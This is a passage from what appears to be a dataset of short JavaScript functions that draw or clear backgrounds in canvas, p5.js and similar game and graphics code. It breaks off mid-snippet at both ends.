DEFAULT_CANVAS_SIZE);\n ctx.fillStyle = '#333'; // Gray\n ctx.fill();\n}","function drawBackground() {\n //drawShadow(); //drawDog shadow beneath dog first\n context.fillStyle = BG_COLOR;\n context.fillRect(0, 0, WIDTH, 500); //wipe picture above shadow\n context.fillStyle = '#83B799';\n context.fillRect(0, 500, WIDTH, 2); //drawDog horizontal ground line\n}","function drawBackground() {\n // draw 3x3 copies of the background, offset by the position\n const xOffset = ((x % background.width) + background.width) % background.width;\n const yOffset = ((y % background.height) + background.height) % background.height;\n for (let xPos = -xOffset; xPos < canvas.width; xPos += background.width) {\n for (let yPos = -yOffset; yPos < canvas.height; yPos += background.height) {\n ctx.drawImage(background, xPos, yPos);\n }\n }\n}","function draw() {\n background(\"#222831\");\n}","_drawBackground() {\n const { x, y, width, height } = this.config;\n this._background = this.scene.add.rectangle( x, y, width, height,\n this.config.backgroundColor );\n this._background.setOrigin( 0, 0 );\n }","background(lib){\n lib.moveTo(lib.width/2,lib.height/2);\n lib.penColor(\"black\");\n lib.dot(500);\n }","function drawBackGround() {\n\t//for (let i = 0; i < 14; i++) {\n\t//\tfor (let j = 0; j < 10; j++) {\n\t//\t\tcontext.drawImage(bg, 64*i, 64*j);\n\t//\t}\n\t//}\n\tcontext.drawImage(bg, 0, 0,800,600);\n\n}","drawBackground() {\n const width = this.canvas.width;\n const height = this.canvas.height;\n const radius = this.getBorderRadius();\n this.context.fillStyle = this.getBackgroundColor();\n this.context.beginPath();\n this.context.moveTo(radius, 0);\n this.context.arcTo(width, 0, width, radius, radius);\n this.context.arcTo(width, height, width - radius, height, radius);\n this.context.arcTo(0, height, 0, height - radius, radius);\n this.context.arcTo(0, 0, radius, 0, radius);\n this.context.fill();\n }","function draw() {\n background(220);\n}","function draw() {\n background(204, 153, 0);\n}","function draw(){\r\n background(\"white\");\r\n \r\n \r\n \r\n}","function drawBackground() {\n var STEP_Y = 12,\n TOP_MARGIN = STEP_Y*4,\n LEFT_MARGIN = 35,\n i = context.canvas.height;\n \n context.save();\n\n context.strokeStyle = 'lightgray';\n context.lineWidth = 0.5;\n\n while(i > TOP_MARGIN) { // Draw horizontal lines from bottom up\n context.beginPath();\n context.moveTo(0, i);\n context.lineTo(context.canvas.width, i);\n context.stroke();\n i -= STEP_Y;\n }\n\n // Draw vertical line\n context.strokeStyle = 'rgba(100,0,0,0.3)';\n context.lineWidth = 1;\n\n context.beginPath();\n context.moveTo(LEFT_MARGIN, 0);\n context.lineTo(LEFT_MARGIN, context.canvas.height);\n context.stroke();\n\n context.restore();\n}","function drawBackground() {\n\tcanvasContext.fillStyle = 'black';\n\tcanvasContext.fillRect(0, 0, GAME_WIDTH, GAME_HEIGHT);\n}","function draw() {\n\tbackground(0, 0, 255); // blue background\n}","function drawBackground() {\n // Wasser\n L10_Canvas.crc2.fillStyle = \"#3686e1\";\n L10_Canvas.crc2.fillRect(0, 0, 600, 800);\n // Stein\n L10_Canvas.crc2.fillStyle = \"#768b99\";\n L10_Canvas.crc2.beginPath();\n L10_Canvas.crc2.moveTo(0, 480);\n L10_Canvas.crc2.quadraticCurveTo(320, 450, 350, 650);\n L10_Canvas.crc2.lineTo(0, 600);\n L10_Canvas.crc2.stroke();\n L10_Canvas.crc2.fill();\n // Sand\n L10_Canvas.crc2.fillStyle = \"#ae8f58\";\n L10_Canvas.crc2.beginPath();\n L10_Canvas.crc2.moveTo(0, 600);\n L10_Canvas.crc2.quadraticCurveTo(150, 550, 300, 600);\n L10_Canvas.crc2.quadraticCurveTo(450, 650, 600, 600);\n L10_Canvas.crc2.lineTo(600, 800);\n L10_Canvas.crc2.lineTo(0, 800);\n L10_Canvas.crc2.fill();\n }","function drawBackground() {\n var STEP_Y = 12,\n i = context.canvas.height;\n \n context.strokeStyle = 'rgba(0,0,200,0.225)';\n context.lineWidth = 0.5;\n\n context.save();\n context.restore();\n\n while(i > STEP_Y*4) {\n context.beginPath();\n context.moveTo(0, i);\n context.lineTo(context.canvas.width, i);\n context.stroke();\n i -= STEP_Y;\n }\n\n context.save();\n\n context.strokeStyle = 'rgba(100,0,0,0.3)';\n context.lineWidth = 1;\n\n context.beginPath();\n\n context.moveTo(35,0);\n context.lineTo(35,context.canvas.height);\n context.stroke();\n\n context.restore();\n}","function draw() {\n // Place your drawing code here \n background('black');\n \n image(bg, bgX, 0, bgWidth, bgHeight);\n image(bg, bgX + bgWidth, 0, bgWidth, bgHeight);\n \n// noFill();\n// stroke('white');\n// strokeWeight(3);\n// rect(bgX, 0, bgWidth, bgHeight);\n// rect(bgX + bgWidth, 0, bgWidth, bgHeight);\n \n bgX -= 5;\n if (bgX < -bgWidth) {\n bgX = 0; \n }\n \n}","function drawBG() {\n\tsetBG('#00B2EE');\n\tdrawGrid(16);\n\tlet i;\n\tfor (i = 0; i < levelWidth; i++) {\n\t\tdrawTile(tiles[0], i * 16, canvas.height - 16, 0);\n\t}\n\tdecorateBG();\n}","function background(){\n //background\n ctx.fillStyle = '#000000';\n ctx.fillRect(0, 0, width, height);\n //grid of dots\n ctx.fillStyle = '#AAAAAA';\n for(var h = 50; h < height; h += 50){\n for(var w = 50; w < width; w += 50){\n drawDot(w, h);\n }\n }\n}","drawBackground(ctx) {\n if (this.background) {\n if (!ctx) {\n this.background.draw(this.ctx)\n } else {\n this.background.draw(ctx)\n }\n }\n }","function createBackground(ctx){\n ctx.clearRect(0, 30, 400, 600);\n ctx.fillStyle = bgColour;\n ctx.fillRect(0, 30, 400, 600);\n}","function drawBackground() {\n\n // first clear the the whole canvas\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n\n // this will generate the main gradient (main-light) of wallpaper\n let mainGrd = ctx.createRadialGradient(\n canvas.width / 2, rndNum(-85, -100), 1,\n canvas.width / 2, canvasMax / 4, canvasMin * 1.8);\n mainGrd.addColorStop(.4, \"#1a0003\");\n mainGrd.addColorStop(0, \"#d58801\");\n\n // after creating the gradient and set it colors,\n // we should set it as the fillStyle of the context and\n // paint whole canvas\n ctx.fillStyle = mainGrd;\n ctx.fillRect(0, 0, canvas.width, canvas.height);\n}","function drawBackground(chart) {\n\t\tvar background = chart.rect(\n\t\t\twidth,\n\t\t\theight\n\t\t);\n\t\tbackground.move(\n\t\t\tleft,\n\t\t\ttop\n\t\t);\n\t\tbackground.attr({\n\t\t\t\"opacity\": \"0\"\n\t\t});\n\n\t\treturn background;\n\t}","function drawBackground(){\n ctx = myGameArea.context;\n //clear canvas\n ctx.clearRect(0, 0, 6656, 468);\n backgroundImg.draw();\n \n }","drawBg() {\n let ctx = this.bgCanvas.getContext(\"2d\");\n // important: https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/clearRect\n // using beginPath() after clear() prevents odd behavior\n ctx.beginPath();\n ctx.fillStyle = \"white\";\n ctx.lineStyle = \"black\";\n ctx.lineWidth = 1;\n\n // white rectangle for background\n ctx.fillRect(0, 0, this.canvasWidth, this.canvasHeight);\n }","function drawBackground() {\n var background = new Image();\n background.src = \"plain-bg2.png\";\n background.onload = function() {\n ctx.drawImage(background,0,0,canvas.width, canvas.height)};\n}","function draw_background() {\n\t// fills background\n\tbackground(colors.bg);\n\t// draws golden quadrilateral\n\tnoStroke();\n\tfill(colors.bg_quad);\n\tquad(Math.floor(width / 3), 0, width, Math.floor(height / 3), \n\t\tMath.floor(width / 3 * 2), height, 0, Math.floor(height * .55));\n\n\t// fills in top left w/ custom shape to shape the side of the quadrilateral into a curve\n\tfill(colors.bg_dark);\n\tbeginShape();\n\tvertex(0, 0);\n\tvertex(Math.floor(width / 3), 0);\n\t// temporary variable for computing coordinates of vertices for easy input\n\tlet v = [{x: Math.floor(width * .2), y: Math.floor(height * .2)}, \n\t\t{x: Math.floor(width * .25), y: width * .4}, {x: 0, y: Math.floor(height * .55)}];\n\tbezierVertex(v[0].x, v[0].y, v[1].x, v[1].y, v[2].x, v[2].y);\n\tendShape();\n\n\t// fills in top right w/ custom shape to shape other side of quadrilateral\n\tbeginShape();\n\tvertex(Math.floor(width / 3), 0);\n\tvertex(width, 0);\n\tvertex(width, height / 3);\n\tv = [{x: Math.floor(width * .8), y: Math.floor(height * .28)}, \n\t\t{x: Math.floor(width * .55), y: Math.floor(height * .2)}, {x: Math.floor(width / 3), y: 0}];\n\tbezierVertex(v[0].x, v[0].y, v[1].x, v[1].y, v[2].x, v[2].y);\n\tendShape();\n}","function drawBackground() {\n // sky\n skyTop.tesselate(HORIZONTAL, 0);\n skyBackground.tesselate(HORIZONTAL, skyTop.height);\n\n // grass blades\n groundHeight = HEIGHT - grass.height * 2;\n for (var pos in grassBladePositions) {\n grassBlade = grassBladePositions[pos];\n grassBlade.draw(pos * grassBlade.width,\n groundHeight - grassBlade.height);\n }\n\n // ground\n grass.tesselate(HORIZONTAL, groundHeight);\n stone.tesselate(HORIZONTAL, groundHeight + grass.height);\n // drawTesselation(stone, HORIZONTAL, lowestHeight);\n}","function showBackground() {\n\n clearGameBoard();\n var background = new Image();\n background.src = 'images/background05.png';\n ctx.drawImage(background, 0, 0, game.width, game.height);\n\n var fontSize = game.width * 0.025;\n ctx.font = fontSize+'pt Calibri';\n\n if (game.width >= 768) {\n ctx.lineWidth = 3.3;\n } else {\n ctx.lineWidth = 1.5;\n }\n \n // stroke color\n ctx.strokeStyle = 'yellow';\n \n ctx.shadowColor = \"rgba(0,0,0,0.3)\";\n\n if (game.width >= 768) {\n ctx.strokeText('Space Invaders', game.width/2 - (fontSize*5), fontSize + 10);\n } else {\n ctx.strokeText('Space Invaders', 160, 15);\n }\n \n\n }","setupBackground() {\n this.bgRect = new paper.Path.Rectangle(new paper.Point(), view.size);\n this.bgRect.fillColor = this.backgroundColor;\n this.bgRect.sendToBack();\n }","function bg(ctx) {\n\tctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);\n\tctx.fillStyle = '#1c1c1c';\n\tfor (var x = -1; x < ctx.canvas.width + 1; x += cellSize) {\n\t\tctx.fillRect(x, 0, 2, ctx.canvas.height);\n\t}\n\tfor (var y = -1; y < ctx.canvas.height + 1; y += cellSize) {\n\t\tctx.fillRect(0, y, ctx.canvas.width, 2);\n\t}\n}","function drawBackround(){\n ctx.fillStyle = 'rgb(148,229,255)';\n ctx.fillRect(\n 0,\n 0,\n WIDTH,\n HEIGHT\n );\n}","drawBackground(ctx) {\n this.drawHorizonGradient(ctx);\n if(this.moon !== undefined) {\n this.moon.draw(ctx);\n } else {\n this.sun.draw(ctx);\n }\n this.drawTrees(ctx);\n }","draw() {\n // Displaying the background\n image(hubImage, 0, 0, width, height);\n }","function draw_background(graphics_context, color = \"white\")\n{\n\tgraphics_context.save();\n\n\tgraphics_context.fillStyle = color;\n\tgraphics_context.fillRect\n\t(\n\t\t0, 0,\n\t\tgraphics_context.canvas.width,\n\t\tgraphics_context.canvas.height\n\t);\n\n\tgraphics_context.restore();\n}","function DrawBackground(){\n\n // draw the background\n ctx.fillStyle = trial.background_colour;\n ctx.fillRect(0, 0, trial.canvas_dimensions[0], trial.canvas_dimensions[1]);\n\n // draw the progress text\n ctx.font = \"28px Arial\";\n ctx.fillStyle = \"white\";\n ctx.textAlign = \"center\";\n var info_text = \"Block \" + counter.block + \" of \" + counter.n_blocks + \", Trial \" + counter.trial + \" of \" + trial.n_trials;\n ctx.fillText(info_text, trial.canvas_dimensions[0]/2, 3* ctx.measureText('M').width/2);\n\n\n }","drawBg() {\n let g = this,\n cxt = g.context,\n sunnum = window._main.sunnum,\n cards = window._main.cards,\n img = imageFromPath(allImg.bg);\n cxt.drawImage(img, 0, 0);\n sunnum.draw(cxt);\n }","function background(col){\r\n ctx.fillStyle = col;\r\n return ctx.fillRect(0,0,creation.width,creation.height);\r\n}","function backgroundGradient() {\n if (ball.x < width) {\n push();\n colorMode(HSB,255);\n background(map(ball.x,0,width,0,255),180,200);\n pop();\n }\n}","function setBackground()\n{\n canvas.style.backgroundColor = 'rgb(' + [paintColor[0],paintColor[1],paintColor[2]].join(',') + ')';\n}","function draw() {\n background(0);\n}","function draw() {\n background(0);\n}","drawGradientBackground() {\n const grd = this.ctx.createLinearGradient(0, 0, this.width, this.height);\n grd.addColorStop(0, '#333333');\n grd.addColorStop(1, '#000000');\n this.ctx.fillStyle = grd;\n this.ctx.fillRect(0, 0, this.width, this.height);\n }","function updateBackground(){\n gameWorld.ctx.fillStyle = \"rgb(0,0,0)\";\n gameWorld.ctx.fillRect(0, 0, gameWorld.canvas.width, gameWorld.canvas.height);\n}","function draw() {\n background(240);\n drawTarget();\n}","function drawFrame(perc) {\n background(backColor);\n}","function drawBackgrounds() {\n for (i = 0; i < 3; i++) {\n addBackgroundObject('./img/background/03_farBG/Completo.png', bg_elem_3_x + i * 1726, -110, 0.45); //far away background layer\n }\n\n for (j = 0; j < 6; j++) {\n addBackgroundObject('./img/background/02_middleBG/completo.png', bg_elem_2_x + j * 1050, 70, 0.28); //middle distanced background layer\n }\n\n for (k = 0; k < 10; k++) {\n addBackgroundObject('./img/background/01_nearBG/completo.png', bg_elem_1_x + k * 960, -30, 0.45); //nearest background layer\n }\n}","function paintBG(ctx, color, dim) {\n\tctx.beginPath();\n\tctx.fillStyle = color;\n ctx.fillRect(0,0,dim[0],dim[1]);\n\tctx.closePath();\t\n}","function draw() {\n drawbackground();\n drawHoles();\n }","draw_background(){\n this.svg.append('rect')\n .attr(\"class\", \"timeline-bg\")\n .attr('y', `${this.label_height - 5}`)\n .attr('x', -5)\n .attr('width', `${this.WIDTH}`)\n .attr('height', '100%')\n }","generateBg() {\n this.addChild(BgContainer.generateRect());\n }","function Background() {\n this.x = 0;\n this.y = 0;\n this.w = bg.width;\n this.h = bg.height;\n this.render = function () {\n context.drawImage(bg, this.x--, 0);\n if(this.x <= -499){\n this.x = 0;\n }\n }\n }","function draw() { \r\n background(234,31,58); // Set the background to black\r\n y = y - 1; \r\n if (y < 2) { \r\n y = height; \r\n } \r\n stroke(234,31,58);\r\n fill(234,31,184);\r\n rect(0, y, width, y); \r\n \r\n stroke(234,31,58);\r\n fill(234,226,128);\r\n rect(0, y, width, y/2); \r\n \r\n stroke(234,31,58);\r\n fill(250,159,114);\r\n rect(0, y, width, y/4); \r\n\r\n}","function createBackground(){\n\t\tvar bg = createSquare(stageWidth, stageHeight, 0, 0, null, Graphics.getRGB(0,0,0,0));\n\t\tstage.addChild( bg );\n\t\tupdate = true;\n\t}","function drawBackground(canvas, settings) {\n const ctx = canvas.getContext(\"2d\");\n ctx.fillStyle = settings.colours.bg;\n ctx.fillRect(0, 0, canvas.width, canvas.height);\n}","function drawBackground() {\n let randomNumber = Math.floor(Math.random() * 3);\n if (randomNumber == 2) {\n bgColor = \"whitesmoke\";\n }\n else {\n bgColor = \"black\";\n }\n crc2.fillStyle = bgColor;\n crc2.fillRect(0, 0, crc2.canvas.width, crc2.canvas.height);\n }","function drawBackground(w,h,color= '#000000', width=1,style = 'solid'){\n if(this.background){\n this.removeChild(this.background);\n }\n var background = new PIXI.Graphics();\n const {hex,alpha} = parseColor(color);\n background.beginFill(hex,alpha)\n // drawBackground.lineStyle(width,parseColor(color))\n background.drawRect(\n 0,\n 0,\n w,\n h\n );\n background.endFill();\n this.background = background;\n this.addChildAt(background,0)\n }","redrawBg() {\n this.clearBg();\n this.drawBg();\n }","function drawBackground(W,H) {\n\t\tvar colors = currentColors;\n\n\t\tif(bgCanvas === null) {\n\t\t\tvar myCanvasElement = $scope.theView.parent().find('#theBgCanvas');\n\t\t\tif(myCanvasElement.length > 0) {\n\t\t\t\tbgCanvas = myCanvasElement[0];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//$log.log(preDebugMsg + \"no canvas to draw on!\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tif(bgCtx === null) {\n\t\t\tbgCtx = bgCanvas.getContext(\"2d\");\n\t\t}\n\n\t\tif(!bgCtx) {\n\t\t\t//$log.log(preDebugMsg + \"no canvas to draw bg on\");\n\t\t\treturn;\n\t\t}\n\n\t\tbgCtx.clearRect(0,0, W,H);\n\n\t\tif(colors.hasOwnProperty(\"skin\")) {\n\t\t\tvar drewBack = false;\n\t\t\tif(colors.skin.hasOwnProperty(\"gradient\") && W > 0 && H > 0) {\n\t\t\t\tvar OK = true;\n\t\t\t\tvar grd = bgCtx.createLinearGradient(0,0,W,H);\n\t\t\t\tfor(var i = 0; i < colors.skin.gradient.length; i++) {\n\t\t\t\t\tvar cc = colors.skin.gradient[i];\n\t\t\t\t\tif(cc.hasOwnProperty('pos') && cc.hasOwnProperty('color')) {\n\t\t\t\t\t\tgrd.addColorStop(cc.pos, cc.color);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tOK = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(OK) {\n\t\t\t\t\tbgCtx.fillStyle = grd;\n\t\t\t\t\tbgCtx.fillRect(0,0,W,H);\n\t\t\t\t\tdrewBack = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!drewBack && colors.skin.hasOwnProperty(\"color\")) {\n\t\t\t\tbgCtx.fillStyle = colors.skin.color;\n\t\t\t\tbgCtx.fillRect(0,0,W,H);\n\t\t\t\tdrewBack = true;\n\t\t\t}\n\n\t\t\tif(colors.skin.hasOwnProperty(\"border\")) {\n\t\t\t\tbgCtx.fillStyle = colors.skin.border;\n\t\t\t\tbgCtx.fillRect(0,0, W,1);\n\t\t\t\tbgCtx.fillRect(0,H-1, W,H);\n\t\t\t\tbgCtx.fillRect(0,0, 1,H);\n\t\t\t\tbgCtx.fillRect(W-1,0, W,H);\n\t\t\t}\n\t\t}\n\t}","function draw() {\n background(204, 231, 227)\n checkState();\n}","function draw_bg() {\n title = ctx.drawImage(sprites, 13, 11, 321, 34, 0, 0, 399, 34);\n greenTop = ctx.drawImage(sprites, 0, 53, 399, 56, 0, 53, 399, 53);\n purpleTop = ctx.drawImage(sprites, 0, 117, 399, 37, 0, 272, 399, 37);\n\tpurpleBot = ctx.drawImage(sprites, 0, 117, 399, 37, 0, 473, 399, 37);\n}","function Background(x, y, width, height, color) {\n this.x = x; this.y = y; \n this.width = width; this.height = height;\n this.color = color;\n\n // Draw background image to given canvas context\n this.draw = function(surface) {\n surface.beginPath();\n surface.fillStyle = this.color;\n surface.fillRect(this.x, this.y, this.width, this.height);\n }\n }","function draw() {\n background(10,0,40);\n environment.draw()\n}","playbackground1() {\r\n background(\"white\");\r\n\r\n //giving the background image details\r\n background(background_image_one);\r\n\r\n //displaying the variables\r\n\r\n \r\n ground.display();\r\n // drawSprites();\r\n\r\n \r\n \r\n \r\n }","_setBackgroundLayerStyles() {\n this.b.fillStyle = \"white\";\n this.b.fillRect(0, 0, WORLD.WIDTH, WORLD.HEIGHT);\n }","function drawBackgroundSquares() {\n for (var index = 0; index < self.allBackgroundSquares.length; index++) {\n var square = self.allBackgroundSquares[index];\n self.draw.fillStyle = square.color;\n self.draw.fillRect(square.x, square.y, square.width, square.height);\n }\n }","function drawBackground(){\n ctx.drawImage(space, 0, 0, canvas.width, canvas.height);\n switch(levelnum){\n case 0:\n //Free Flight\n ctx.drawImage(freeflightground, 0,canvas.height-25,canvas.width,25);\n break;\n case 1:\n //Mercury\n ctx.drawImage(mercuryground, 0,canvas.height-25,canvas.width,25);\n break;\n case 2:\n //Venus\n ctx.drawImage(venusground, 0,canvas.height-25,canvas.width,25);\n break;\n case 3:\n //Moon\n ctx.drawImage(moonground, 0,canvas.height-25,canvas.width,25);\n break;\n case 4:\n //Mars\n ctx.drawImage(marsground, 0,canvas.height-25,canvas.width,25);\n break;\n case 5:\n //Ganymede\n ctx.drawImage(ganymedeground, 0,canvas.height-25,canvas.width,25);\n break;\n case 6:\n //Titan\n ctx.drawImage(titanground, 0,canvas.height-25,canvas.width,25);\n break;\n case 7:\n //Uranus\n ctx.drawImage(uranusground, 0,canvas.height-25,canvas.width,25);\n break;\n case 8:\n //Neptune\n ctx.drawImage(neptuneground, 0,canvas.height-25,canvas.width,25);\n break;\n case 9:\n //Black Hole\n break;\n default:\n //Not recognised\n ctx.drawImage(freeflightground, 0,canvas.height-25,canvas.width,25);\n break;\n }\n //bonus landing area\n if (levelnum != 0 && levelnum != 9){\n ctx.fillStyle = \"#00F\";\n ctx.fillRect(800,(canvas.height/2)+300, 100, 10);\n }\n}","create() {\n let background = this.add.image(0, 0, 'background');\n background.displayOriginX = 0;\n background.displayOriginY = 0;\n background.displayWidth = this.sys.canvas.width;\n background.displayHeight = this.sys.canvas.height;\n }","function drawSky() {\n\n addBackgroundobject('./img/background/sky.png', 0, 0, -80, 0.5);\n\n}","function makeBackground(){\n\timg = createImage(width, height);\n\n\timg.loadPixels();\n\tlet xoff = 0;\n\tfor (let i = 0; i < width; i++){\n\n\t\tlet yoff = 0;\n\n\t\tfor (let j = 0; j> 1) * 256;\n\n\t\tbf.position(bgAddress + (scrTile << 10));\n\t\n\t\tfor(let i=0;i<16;i++) {\n\t\t\tfor(let j=0;j<16;j++) {\n\t\t\t\t\t\t\n\t\t\t\tlet tile = bf.getShort() + 0x6800;\n\t\t\t\tlet flag = bf.get();\n\t\t\t\tlet pal = bf.get();\n\t\t\t\tif(hideBackground) {\t// hide background based on flag and color, 0x10 maybe the switch\n\t\t\t\t\tlet hide = flag & 0xF;\n\t\t\t\t\tif((pal & 0x80) == 0)\n\t\t\t\t\t\thide = 16;\n\t\t\t\t\tdrawTilesBase(imageData, tile, 1, 1, (pal & 0x1F) + 0x40, 16, false, (pal & 0x40), (pal & 0x20), hide);\n\t\t\t\t} else \n\t\t\t\t\tdrawTilesBase(imageData, tile, 1, 1, (pal & 0x1F) + 0x40, 16, false, (pal & 0x40), (pal & 0x20));\n\t\t\t\tctxBack.putImageData(imageData, scrx + (i)%32 * gridHeight, scry + (j) * gridWidth);\n\t\t\t}\n\t\t}\n\t}\n\n}","function Background() {\n\n // Implement abstract function draw\n this.draw = function() {\n this.context.drawImage(imageRepository.background, this.x, this.y);\n };\n}","function drawBackground(W,H) {\n\t\tvar colors = $scope.gimme(\"GroupColors\");\n\t\tif(typeof colors === 'string') {\n\t\t\tcolors = JSON.parse(colors);\n\t\t}\n\n\t\tif(colors.hasOwnProperty(\"skin\")) {\n\t\t\tvar drewBack = false\n\t\t\tif(colors.skin.hasOwnProperty(\"gradient\")) {\n\t\t\t\tvar OK = true;\n\n\t\t\t\tvar grd = ctx.createLinearGradient(0,0,W,H);\n\t\t\t\tfor(var i = 0; i < colors.skin.gradient.length; i++) {\n\t\t\t\t\tvar cc = colors.skin.gradient[i];\n\t\t\t\t\tif(cc.hasOwnProperty('pos') && cc.hasOwnProperty('color')) {\n\t\t\t\t\t\tgrd.addColorStop(cc.pos, cc.color);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tOK = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(OK) {\n\t\t\t\t\tctx.fillStyle = grd;\n\t\t\t\t\tctx.fillRect(0,0,W,H);\n\t\t\t\t\tdrewBack = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!drewBack && colors.skin.hasOwnProperty(\"color\")) {\n\t\t\t\tctx.fillStyle = colors.skin.color;\n\t\t\t\tctx.fillRect(0,0,W,H);\n\t\t\t\tdrewBack = true;\n\t\t\t}\n\n\t\t\tif(colors.skin.hasOwnProperty(\"border\")) {\n\t\t\t\tctx.fillStyle = colors.skin.border;\n\t\t\t\tctx.fillRect(0,0, W,1);\n\t\t\t\tctx.fillRect(0,H-1, W,H);\n\t\t\t\tctx.fillRect(0,0, 1,H);\n\t\t\t\tctx.fillRect(W-1,0, W,H);\n\t\t\t}\n\t\t}\n\t}","function createBackground() {\n\t\t\tbg = new createjs.Shape();\t\t\n\t\t\tstage.addChild(bg);\n \t}","_draw_all(){\r\n\t\tthis._draw_bg();\r\n\t\tthis._draw_fg();\r\n\t}","function draw() {\n background(255,0,0)\n rectMode(CENTER)\n rect(250.250,100,100)\n}","function displayBg() \n{\n\tvar bg = new Image();\n\tbg.src = \"Images/background.jpg\";\n\tctx.drawImage(bg,minCanvasWidth,minCanvasHeight,maxCanvasWidth,maxCanvasHeight);\n}","function drawBackground() {\n\n ctx.fillStyle = \"white\";\n ctx.fillRect(0, 0, canvas.width, canvas.height);\n\n timePassedSinceHurt = new Date().getTime() - lastHurtStarted;\n timePassedSinceDead = new Date().getTime() - deadStarted;\n\n drawSky();\n drawHills();\n drawClouds();\n drawShadows();\n drawGround();\n}","function drawBG() {\n magicalCanvas.crc2.clearRect(0, 0, magicalCanvas.canvas.width, magicalCanvas.canvas.height);\n if (day == true) {\n //sky\n magicalCanvas.crc2.fillStyle = \"skyblue\";\n magicalCanvas.crc2.fillRect(0, 0, magicalCanvas.canvas.width, magicalCanvas.canvas.height);\n //background\n magicalCanvas.crc2.fillStyle = \"limegreen\";\n magicalCanvas.crc2.strokeStyle = \"limegreen\";\n magicalCanvas.crc2.lineWidth = 2;\n magicalCanvas.crc2.beginPath();\n magicalCanvas.crc2.moveTo(0, magicalCanvas.canvas.height);\n magicalCanvas.crc2.lineTo(0, magicalCanvas.canvas.height - 50);\n magicalCanvas.crc2.quadraticCurveTo(magicalCanvas.canvas.width / 2, magicalCanvas.canvas.height - 250, magicalCanvas.canvas.width, magicalCanvas.canvas.height - 50);\n magicalCanvas.crc2.lineTo(magicalCanvas.canvas.width, magicalCanvas.canvas.height);\n magicalCanvas.crc2.closePath();\n magicalCanvas.crc2.fill();\n magicalCanvas.crc2.stroke();\n //foreground\n magicalCanvas.crc2.fillStyle = \"forestgreen\";\n magicalCanvas.crc2.strokeStyle = \"forestgreen\";\n magicalCanvas.crc2.beginPath();\n magicalCanvas.crc2.moveTo(0, magicalCanvas.canvas.height);\n magicalCanvas.crc2.lineTo(0, magicalCanvas.canvas.height - 150);\n magicalCanvas.crc2.bezierCurveTo(20, magicalCanvas.canvas.height - 150, 20, magicalCanvas.canvas.height - 20, magicalCanvas.canvas.width / 2, magicalCanvas.canvas.height - 20);\n magicalCanvas.crc2.bezierCurveTo(magicalCanvas.canvas.width - 20, magicalCanvas.canvas.height - 20, magicalCanvas.canvas.width - 20, magicalCanvas.canvas.height - 150, magicalCanvas.canvas.width, magicalCanvas.canvas.height - 150);\n magicalCanvas.crc2.lineTo(magicalCanvas.canvas.width, magicalCanvas.canvas.height);\n magicalCanvas.crc2.closePath();\n magicalCanvas.crc2.fill();\n magicalCanvas.crc2.stroke();\n }\n else {\n //sky\n magicalCanvas.crc2.fillStyle = \"#252D3F\";\n magicalCanvas.crc2.fillRect(0, 0, magicalCanvas.canvas.width, magicalCanvas.canvas.height);\n //background\n magicalCanvas.crc2.fillStyle = \"#142615\";\n magicalCanvas.crc2.strokeStyle = \"#142615\";\n magicalCanvas.crc2.lineWidth = 2;\n magicalCanvas.crc2.beginPath();\n magicalCanvas.crc2.moveTo(0, magicalCanvas.canvas.height);\n magicalCanvas.crc2.lineTo(0, magicalCanvas.canvas.height - 30);\n magicalCanvas.crc2.quadraticCurveTo(magicalCanvas.canvas.width / 2, magicalCanvas.canvas.height - 270, magicalCanvas.canvas.width, magicalCanvas.canvas.height - 30);\n magicalCanvas.crc2.lineTo(magicalCanvas.canvas.width, magicalCanvas.canvas.height);\n magicalCanvas.crc2.closePath();\n magicalCanvas.crc2.fill();\n magicalCanvas.crc2.stroke();\n }\n }","function Background() {\n\tthis.speed = 1; // Redefine speed of the background for panning\n\t\n\t// Implement abstract function\n\tthis.draw = function() {\n\t\t// Pan background\n\t\tthis.x -= this.speed;\n\t\tthis.context.drawImage(imageRepository.background, this.x, this.y);\n\t\t\n\t\t// Draw another image at the top edge of the first image\n\t\tthis.context.drawImage(imageRepository.background, this.x + this.canvasWidth, this.y);\n\n\t\t// If the image scrolled off the screen, reset\n\t\tif (this.x <= -this.canvasWidth)\n\t\t\tthis.x = 0;\n\t};\n}","function Background() {\n this.speed = 1; // Redefine speed of the background for panning\n // Implement abstract function\n this.draw = function() {\n // Pan background\n this.x -= this.speed;\n this.context.drawImage(imageRepository.background, this.x, this.y);\n // Draw another image at the top edge of the first image\n this.context.drawImage(imageRepository.background, this.x - this.canvasWidth, this.y);\n // If the image scrolled off the screen, reset\n if (this.x >= this.canvasWidth) {\n this.x = 0;\n }\n };\n}","function drawBackground(width, height, color, x, y, type) {\n this.gamearea = gameArea;\n this.type = type;\n if (type == 'image' || type == 'background') {\n this.image = new Image();\n this.image.src = color;\n }\n this.width = width;\n this.height = height;\n this.speedX = 0;\n this.speedY = 0;\n this.x = x;\n this.y = y;\n this.update = function() {\n ctx = gameArea.context;\n if (type == 'image' || type == 'background') {\n ctx.drawImage(this.image,\n this.x,\n this.y,\n this.width, this.height);\n\n if (type == 'background') {\n ctx.drawImage(this.image,\n this.x + this.width,\n this.y,\n this.width, this.height);\n }\n }\n else {\n ctx.fillStyle = color;\n ctx.fillRect(this.x, this.y, this.width, this.height);\n }\n }\n this.newPos = function() {\n this.x += this.speedX;\n this.y += this.speedY;\n if (this.type == 'background') {\n if (this.x == -(this.width)) {\n this.x = 0;\n }\n }\n }\n this.clicked = function () {\n let myleft = this.x;\n let myright = this.x + (this.width);\n let mytop = this.y;\n let mybottom = this.y + (this.height);\n var clicked = true;\n if ((mybottom < gameArea.y) || (mytop > gameArea.y) || (myright < gameArea.x) || (myleft > gameArea.x)) {\n clicked = false;\n }\n return clicked;\n }\n}","createBackground() {\n const canvas = document.getElementById(\"background\");\n const ctx = canvas.getContext(\"2d\");\n canvas.width = window.innerWidth;\n //save some space for the footer\n canvas.height = window.innerHeight;\n //clear previous canvas to avoid memory leaks\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n this.RED_OFFSET = Math.floor(Math.random() * (MAX_RED - 